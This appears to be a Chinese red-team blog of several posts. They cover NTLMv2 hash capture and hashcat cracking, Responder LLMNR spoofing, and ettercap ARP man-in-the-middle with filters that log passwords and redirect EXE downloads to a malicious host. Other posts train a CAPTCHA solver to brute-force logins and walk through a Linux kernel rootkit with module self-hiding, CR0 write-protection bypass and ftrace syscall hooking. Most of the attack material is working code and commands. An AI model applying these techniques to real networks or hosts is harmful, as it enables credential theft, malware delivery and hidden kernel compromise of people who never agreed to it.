然后,我们要找的就是类似于

test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000

这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。

然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

hashcat.png

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。

下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg

极简模式II:使用responder

直接在kali中,运行responder -I eth0 -w,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。

具体体现在

链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。

而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。

当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

resp.png

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。

主动出击:ETTERCAP内网嗅探与劫持

这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基

使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。

毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。

所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。

直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关// ,这样我们就可以看到目标机器的所有流量了

ettercap.png
这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。

直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user


if ( tcp.src == 80 || tcp.dst == 80) { 
        if (search(DATA.data,"password")) {
                log(DATA.data, "/tmp/tmp.log");
        }
}

上面是保存http中带有password的,甚至可以把第一句tcp.src == 80也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//,就可以开始嗅探http请求的明文流量了。

QQ截图20220430175148.png

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, “Accept-Encoding”)) {
        replace("Accept-Encoding", "Accept-Mousecat");
        msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("keep-alive", "close" );
    replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
    msg("found EXE\n");
    if (search(DATA.data, "Win32")) {
        msg("doing nothing\n");
    } else {
        replace("200 OK", "301 Moved Permanently
        Location: http://你的恶意exe/setup.exe");
        msg("redirect success\n");
    }
}

这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。

以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?

配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?

直接对fileter修改

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding","Accept-AAAA");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}

然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。

结语

和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。

Tags: 内网, 红队, 劫持, mitm, 嗅探, 工作组, ettercap

基于验证码识别的机器学习项目captcha_trainer操作实践

前言

很多时候,外网打点,资产就那么点,社工钓鱼又钓不进去,那么怎么办呢?这时候只能传统艺能爆破来解决问题了。

但是,抛开IP先不说,现在登录多多少少都会有加上验证码用于防止爆破,但是这种东西肯定不能阻挡我们的脚步。所以最简单的办法就是整个自动用于验证码识别的玩意。下至OCR上至机器学习乃至购买云打码。因为我们穷云服务肯定整不起,OCR识别率又堪忧,所以最简单的办法就是去github整一个。

说明

本篇就是一个踩坑文章(然而作者的项目写的非常不错,并没有遇到什么坑hhhh),用于记录,没有什么技术含量。我才不会说我是实在想不出写什么东西才水一篇文章的呢,哼~

最近快毕业了,什么毕业论文啊个人音乐会啊毕业音乐会啊专场啊以及最讨厌的查缺补漏(指舞蹈重修)。虽然说这些事并不麻烦,但是确实都是事,每天就这么磨洋工一点一点的磨磨唧唧但是也确实在解决。导致我用一般只日站,很少沉下心来写这些完整的学习报告了。虽然说日站过程中也会遇到一些新鲜的东西,例如这次就遇到很多K8s啊,云安全啊但是这些并没有完整的,全面的研究,导致博客一直不知道写啥。所以就搞了水了一些实践报告,网络上也有他人的实践记录。但是我会尽量把所有的坑给列出来。

话不多说,开整。

开整

既然不是自己写项目而是用东西,那肯定是怎么简单怎么来,去年还是前年我用过
https://github.com/nickliqian/cnn_captcha 项目跑过训练,效果确实不错,然而截至至今(2022年4月22日),该项目大部分依赖已经爆炸,遂直接放弃

最后还是选择使用captcha_trainer 项目来使用。凑巧的是,作者也在FreeBuf上发布过文章,详细说明了如何使用该项目,详情可以看这里

验证码识别新革命:源码+通用识别模型

然而作者对于Linux部分写的很详细,对于Windows部分却是一笔带过。刚好我用的是windows,就顺带记录了。

话不多说,开整。

安装CUDA

首先是下载项目,直接git clone就行,重点是第二部

目前为止,如果你是使用CPU训练,那么可以跳过下面这一步骤,因为源码已经加入代码默认支持CPU了,不需要进行过多操作,如果是GPU,就需要安装CUDA和CuDnn。直接根据文章,从官网下载

下载完以上上面,首先得先安装CUDA,安装完毕之后,解压CUDNN,然后根据cudnn/install-guide
找到CUDA安装目录,这里假设CUDA安装目录是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
复制 bin\cudnn*.dllC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\bin.复制 include\cudnn*.hC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\include.复制 lib\x64\cudnn*.lib 到 C:Program FilesNVIDIA GPU Computing ToolkitCUDAvx.xlibx64.`

之后把CUDA目录,也就是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\添加到PATH环境变量中,注意不带bin。

然后还得安装zlib运行库,不然会出现Could not locate zlibwapi.dll. Please make sure it is in your library path,也是根据上面的文档,从ZLIB DLL下载压缩包,把里面的各种.lib文件和.dll文件全部一股脑丢PATH下,你可以选择创建一个PATH,反正我是全部直接丢到system32下。通过以上这些,CUDA就安装好了

安装本体

我用的是python3.10.3,实际上是可以直接使用的

回到我们项目文件,我们可以使用作者的venv,也可以直接莽上去,开干。我的建议是用一些pyvenv。

直接python -m pip install pyvenv。然后记得使用cmd,执行cd venv/ && Scripts/active.bat,看到前面出现(venv)就说明环境载入成功了。

然后就是修改requirements.txt文件,把最后的tf-nightly-gpu==2.8.0.dev20211021改成tf-nightly-gpu即可。

如果是用CPU渲染,就直接安装tf-nightly就行。

记得使用pip安装的时候,务必使用代理,可以用自带--proxy命令指明socks5代理或者像我一样用Proxifier直接把pipy.org加入代理规则里。

安装完requirements.txt之后,直接运行python app.py,还会出现一些依赖错误比如pillow啊这些的,剩下的基本就是缺啥装啥就好了。

之后运行python app.py

QQ截图20220423004331.png

就能打开界面。

训练

对于开源项目来说,我们可以直接把源码部分扒出来,根据作者的要求,只需要生成格式为 验证码原始内容_md5.png 类型的图片放置到目录下就行。我们直接随手谷歌找了一个python验证码生成的代码生成一些数据试试。

import os
import random
import io
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import hashlib
def random_color():
    c1 = random.randint(0, 255)
    c2 = random.randint(0, 255)
    c3 = random.randint(0, 255)
    return c1, c2, c3
def generate_picture(width=120, height=35):
    image = Image.new('RGB', (width, height), random_color())
    return image
def random_str():
    random_num = str(random.randint(0, 9))
    random_low_alpha = chr(random.randint(97, 122))
    random_char = random.choice([random_num, random_low_alpha])
    return random_char
def draw_str(count, image, font_size):
    draw = ImageDraw.Draw(image)
    # 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小
    font_file = os.path.join('andale-mono.ttf')
    font = ImageFont.truetype(font_file, size=font_size)
    temp = []
    for i in range(count):
        random_char = random_str()
        draw.text((10+i*30, -2), random_char, random_color(),font=font)
        temp.append(random_char)
    valid_str = "".join(temp)    # 验证码
    return valid_str, image
def noise(image, width=120, height=35, line_count=3, point_count=20):
    draw = ImageDraw.Draw(image)
    for i in range(line_count):
        x1 = random.randint(0, width)
        x2 = random.randint(0, width)
        y1 = random.randint(0, height)
        y2 = random.randint(0, height)
        draw.line((x1, y1, x2, y2), fill=random_color())

        # 画点
        for i in range(point_count):
            draw.point([random.randint(0, width), random.randint(0, height)], fill=random_color())
            x = random.randint(0, width)
            y = random.randint(0, height)
            draw.arc((x, y, x + 4, y + 4), 0, 90, fill=random_color())

    return image
def valid_code():
    image = generate_picture()
    valid_str, image = draw_str(4, image, 35)
    image = noise(image)
    m = hashlib.md5()
    with io.BytesIO() as memf:
        image.save(memf, 'PNG')
        data = memf.getvalue()
        m.update(data)
        md5 = m.hexdigest()

    f = open("demo/trains/{}_{}.png".format(valid_str,md5),"wb")
    image.save(f, 'png') 
    f.close()
    return valid_str,md5
if __name__ == '__main__':
    for i in range(1,60000):
        valid_code()

在项目目录下创建一个demo/trains目录,并运行该代码,就会在该目录生成59999张验证码。之后我们在app.py里的project区随便新建一个项目名
2.png
之后点击Trining Path里的Browse选项,把我们刚刚生成的目录添加进去

3.png

之后点击底下的Make Dataset把我们生成的打包成TFRecords文件,然后点Start Tringing就可以开始训练了
4.png

如果你的显卡好的话,大概几分钟,这6W张图片就能训练完成。效率还是很快的

之后我们点击Test,会让我们选择文件夹,我们就可以用这个来验证识别率辣。保险起见我们用上面的代码生成一个Test2文件夹来存放新的。

然后运行Test,测试下效果。

5.png

可以看出来效果还是挺不错的,对于开源项目使用这个方法,就可以快速训练出匹配的模型,成功率还是非常高的。重点是非常的方便快捷

部署以及武器化

作者自带了一个框架captcha_platform,我们可以直接使用该项目。

用作部署于服务器的话,没必要上GPU,CPU跑模型就行,所以可以跳过上面的安装CUDA和cuDNN的操作。

安装方法也很简单,直接运行python -m pip install -r requirements.txt就行。

注意,如果是本机部署(和上一个项目同一台机器)的推荐删除requirements.txt里的tf-nightly项,避免环境造成冲突。

之后把我们在captcha_trainer里生成的模型,一般目录是Project/模型名称/out,里的两个文件夹,复制到captcha_platom目录下,然后运行tornado_server.py就行。
6.png

然后根据文档。运行tornado_server.py后会起一个API。地址为http://127.0.0.1:19952/captcha/v1,请求方式为application/json,具体参数查看作者的FreeBuf文章即可

7.png
我们试着调用一下
9.png
总体就大功告成辣。

通用化识别

以上我们就针对单一,开源,容易采集的项目进行了识别,但是对于那些闭源的目标来说,单纯用我们python生成的验证码跑识别成功率基本就没法看了。想要提高成功率,基本就是得对不同字体(包括与斜度),不同背景(花纹,纯色,甚至图片背景),不同扭曲程度(PS魔术棒!),不同噪点的验证码进行一个数据的生成然后在进行投喂。同时,传入参数的时候也比不能忘记把图片的分辨率来调整成我们训练时候的分辨率。来尽可能模仿目标。

结尾 & 后续

解决了验证码这个拦路虎,还有一个问题就是banIP了,下次看看怎么解决这个吧,估计会出一个云函数实践相关的,咕咕咕了。

Tags: python, 机器学习, 验证码, 红队

近况

快毕业了,写论文中,烦躁,没时间更新。

Tags: none

Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写

前言

本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。

经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。

先确定目标,我们的rootkit必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏CPU指行状态等,对其他程序进行隐藏,第三个就是想到再说

首先第一步,我们先从网络上最简单的hello,world开始

//hello.c
#include <linux/init.h>  
#include <linux/module.h>  
   
MODULE_LICENSE("GPL");  
static int hello_init(void)  
{  
  printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}  
   
module_init(hello_init);  
module_exit(hello_exit);  
//Makefile
obj-m :=hello.o  
KERNEL :=/lib/modules/$(shell uname -r)/build 
PWD :=$(shell pwd)  
modules :  
    $(MAKE) -C $(KERNEL) M=$(PWD) modules  
.PHONEY:clean  
clean :  
    rm -f *.o *.ko  

上面就是要给最简单的hello,world最简单的代码。

然而想要直接编译我们还得先安装一个源码包,否则没法编译

apt install build-essential
apt install linux-headers-`uname -r`

根据系统的不同自行替换包管理软件,反正大体都是linux-headers-xxx之类的软件。至于build-essential,不同系统有不同的叫法,比如arch是base-devel。centos是。。什么什么devel来着总之就是类似的东西。

安装了之后才会在/lib/modules/下有当前系统的源码包,我们以上的代码才能编译。

编译成功后会在系统下面生成一个ko文件,使用insmod可以进行加载,lsmod可以查看所有安装的模块,然后试rmmod可以对模块进行删除。

hello_ko.png

隐藏自身

由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北

这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么lsmod工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。

简单的使用方法就是如下

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

上述的方案就是删除/proc/modules。/sys/modules和kobj中的链表相关内容。这样执行之后我们的模块就无法通过lsmod这类工具查找出来了。

其中THIS_MODULE是一个C的宏,指向模块自身。
this_module.PNG

隐藏文件?no! 得先看看如何HOOK

使用strace我们可以看到ls的所有栈调用,我们可以从中选择我们希望hook的函数。

我们在ring3下使用LD_PRELOAD的方式就是hook readdir函数。然而在内核中,我们应该直接HOOK系统调用号。

现在唯一的问题就是如何HOOK

对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是HOOK哪里。又回到了老生常谈的寻址问题。

在早期内核中,有一个非常简单的寻址方式就是利用kallsyms_lookup_name
直接通过kallsyms_lookup_namelookup_address找到sys_call_table的地址然后就可以直接使用该地址

   syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
   
   /* get the page table entry (PTE) for the page containing sys_call_table */
   pte = lookup_address((long unsigned int)syscall_table, &level);

通过上面的方法就可以随心所欲的找到我们的目标地址并进行HOOK,然而

[Unexporting kallsyms_lookup_name()][4]

kallsyms_lookup_name模块最近被废止了。至少在比较新的系统上是无法使用它了。

然后就是网络上的其他方法,最典型的是暴力搜索法。

意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧

虽然说kallsyms_loopup_name是无法使用,但是如果直接读取/proc/kallsyms,还是能获得到地址的

sudo cat /proc/kallsys |grep -w sys_call_table

接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法

unsigned long **get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
      if(entry[__NR_close] == (unsigned long *)sys_close)
          return entry;
    }
    return NULL;
}

使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在2.6之后sys_close被替换成了ksys_close,然而即使替换程了ksys_close也无法使用。

这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。

接下来就是文章中另外一个用法:/boot/System.map

然而,从v5.10 之后,System.map将不再提供地址信息了。详细可以参考这里:Linux Kernel

cat /boot/System.map-5.14.0-kali4-amd64                                                                                                                                                                                             
ffffffffffffffff B The real System.map is in the linux-image-<version>-dbg package

接下来就是根据IDT表查找,然而我使用了sidt指令后无论如何都不给我返回正确的地址。。

在一番的搜寻后,我发现了如下方法

ftrace辅助查找法

这是一个非常新的技术,专门适用于 >5.7 的linux 版本系统,详细可以查看这个文章

Linux Rootkits: New Methods for Kernel 5.7+

根据文章,我们可以直接使用

#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};


static void test(){
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");

    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
}

就可以获得到syscall_table的地址。
get_it.png

接下来我们直接试着修改表内容,遇到的第一个问题就是cr0保护问题,

我使用如下代码

      write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      write_cr0(read_cr0() | 0x10000); // 恢复写保护

遇到了如下问题:

[   11.148893] CR0 WP bit went missing!?

经过一番查找,发现是在高版本中,内核会判断write_cr0是否被修改导致引发panic,根据如下的解决方案

[how-to-write-to-protected-pages-in-the-linux-kernel][9]

自定义一个inline function修改cr0值就可以,最后目前我们的代码如下

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");  
#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long *syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void myfunc(void)
{
  printk(KERN_ALERT "hook test!\n");
  return;
}
static int hello_init(void)  
{  
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    syscall_table = kallsyms_lookup_name("sys_call_table");
    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
    if (syscall_table)
    {
      disable_write_protection();// 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      enable_write_protection(); // 恢复写保护
      printk(KERN_ALERT "hook success\n");
    } else {
      printk(KERN_ALERT "hook failed\n");
    }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  

  if (syscall_table) {
    disable_write_protection(); 
    syscall_table[__NR_uname] = oldadr; // 恢复原地址
    enable_write_protection();
    printk(KERN_ALERT "resume syscall table, module removed\n");
  }
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}
module_init(hello_init);  
module_exit(hello_exit);  

然后Makefile文件不变,在我linux-5.14下编译通过

HOOK

上面的代码我们使用了syscall_table[__NR_uname] 进行函数的HOOK,这样不是不行,但是我们都引用了ftrace包了,自然应该使用更优雅的HOOK方案。

详细文档在这:Using ftrace to hook to functions - kernel.org

直接根据文档


struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
};


ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);

register_ftrace_function(&ops);

就这样,一个HOOK就做好了。该HOOK和我们以往的HOOK并不太一样,以往的HOOK都是直接暴力修改sys_call_table的地址。

然而ftrace是用其他的实现方式,文档中使用了callback进行HOOK函数的回调,原型如下

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

然后,每个参数的功能如下。

@ip
This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)

@parent_ip This is the instruction pointer of the function that called
the the function being traced (where the call of the function
occurred).

@op This is a pointer to ftrace_ops that was used to register the

  1. This can be used to pass data to the callback via the
  2. pointer.

@regs If the FTRACE_OPS_FL_SAVE_REGS or
FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops
structure, then this will be pointing to the pt_regs structure like it
would be if an breakpoint was placed at the start of the function
where ftrace was tracing. Otherwise it either contains garbage, or
NULL.

我英语贼辣鸡就不乱翻译了,我们看向其中的重点regs,regs是一个pt_regs 结构,研究我们之前LINUX进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据linux调用方式从pt_regs的寄存器中分别读出内容。然后进行操作。

重点

同时,因为我们以往都是直接暴力修改函数地址制作HOOK,所以可能会造成思维定势,ftrace的HOOK和这不一样,这个callback并不是执行到HOOK点就替换成我们的callback,而是类似一个filter的存在。具体操作还是要看filter对于寄存器的IP的修改,如果不进行任何修改,那么仅仅在指行这个filter之后原本的函数还是会继续运行。所以我们的代码如下.我们假设HOOK一个mkdir。


static asmlinkage long fake_mkdir(struct pt_regs *regs){
     // do something  我们的HOOK函数
     long ret = ori_sys_mkdir(regs); //保证原函数的运行
     return ret;
}
void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs
  p_regs->ip = (unsigned long)fake_mkdir;

}


static asmlinkage long (*ori_sys_mkdir)(struct pt_regs *regs); // 用于保存sys_mkdir的原始地址
static void hook(){
 int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0);
       if(err)
        {
            printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);

        }
      err = register_ftrace_function(&ops);
      if(err)
      {
            printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
        }

      *((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
}

以上就是一个简单的HOOK过程,可以看到callback其实并不是直接一个传统意义上的HOOK。也就是 修改->指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的IP让程序跳转到了我们的fake函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个HOOK。

然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的HOOK不是直接替换地址。而是匹配地址就触发callback,也就是说,即使我们在fake函数中,正确调用了原本sys_mkdir后,还是会触发到我们的callback,然后再次被修改IP调转到我们的fake函数,然后fake函数再调用sys_mkdir然后再callback.....

这就造成了一个死循环。第一个想的解决办法,就是在fake函数调用sys_mkdir的时候取消掉filter的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西within_module

static inline bool within_module_core(unsigned long addr,
                      const struct module *mod)
{
    return (unsigned long)mod->core_layout.base <= addr &&
           addr < (unsigned long)mod->core_layout.base + mod->core_layout.size;
}

因为callback提供了上层调用者的IP,然后我们只需要用within_module和THIS_MODULE宏比对,判断调用sys_mkdir的是否是我们当前的模块就知道是否是fake函数调用来的,如果是那里调用来的则忽略HOOK请求

void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); 
  if (!within_module(parent_ip, THIS_MODULE)){
    p_regs->ip = (unsigned long)fake_mkdir;
  }
}

重点2

我们把目光转到fake_mkdir,假设我们想HOOK,就必须要对参数进行修改,或者说是读取。

由于给了寄存器我们可以根据Linux系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接char __user *pathname = (char *)regs->di;

但是我们会发现,如果直接printk出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要copy_to_usercopy_from_user这两个函数把数据读取到用户空间才能输出内容

代码如下

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = (char *)regs->di;
      char dir_name[NAME_MAX] = {0};
      long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
      if (error >0){
        printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
      }
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 135613.png
同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = regs->di;
      char dir_name[NAME_MAX] = "a";
      long error = copy_to_user(pathname,dir_name, NAME_MAX);
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 170116.png
到这里,我们的HOOK基本就完成了

交互

这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像shell命令一样,找一个地方进行交互。

网络上现有的大部分rootkit方案都是对/proc的proc_fops进行hook,对用户传入的数据进行处理。

关键我们看这个

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char* name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations* proc_iops;

    const struct file_operations* proc_fops;
    struct proc_dir_entry* next, *parent, *subdir;
    void* data;
    read_proc_t* read_proc;
    write_proc_t* write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion* pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

使用create_proc_entry()函數創建在/proc文件系統中創建一個虛擬文件
函數返回值的 proc_dir_entry 結構體中包含了/proc
節點的讀函數指針(read_proc_t*read_proc)、寫函數指針(write_proc_t
*write_proc)以及父節點、子節點信息等。讀寫函數的原型為:

typedef    int (read_proc_t)(char* page, char** start, off_t off,
                             int count, int* eof, void* data);
typedef    int (write_proc_t)(struct file* file, const char __user* buffer,
                              unsigned long count, void* data);

這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。

资料引用自:proc虛擬文件系統

我们注意proc_dir_entry中的parent成员,这个成员可以指向父目录的成员。我们使用create_proc_entry在/proc下创建了一个虚拟文件后,就可以使用parent找到/proc的proc_dir_entry结构体,然后我们劫持proc的fops,这样我们的程序就能实现往/proc写入数据传递到我们ko模块的效果了。

或者不整那么花里胡哨的,就用普通在proc下专门创建个文件接收也不是不行。

原本我也是打算直接照抄的,然而在高版本linux中,这个地方出现了一点变化。

首先是从5.5开始create_proc_entry()被修改为proc_create()

同时proc_dir_entry 结构体也变成了这样

struct proc_dir_entry *proc_create(const char *name, 
        umode_t mode, 
        struct proc_dir_entry *parent, 
        const struct proc_ops *proc_ops);

我们注意其中的proc_ops,由原先的file_operations类型转变程了proc_ops类型。详情可以查看:proc: convert everything to struct proc_ops
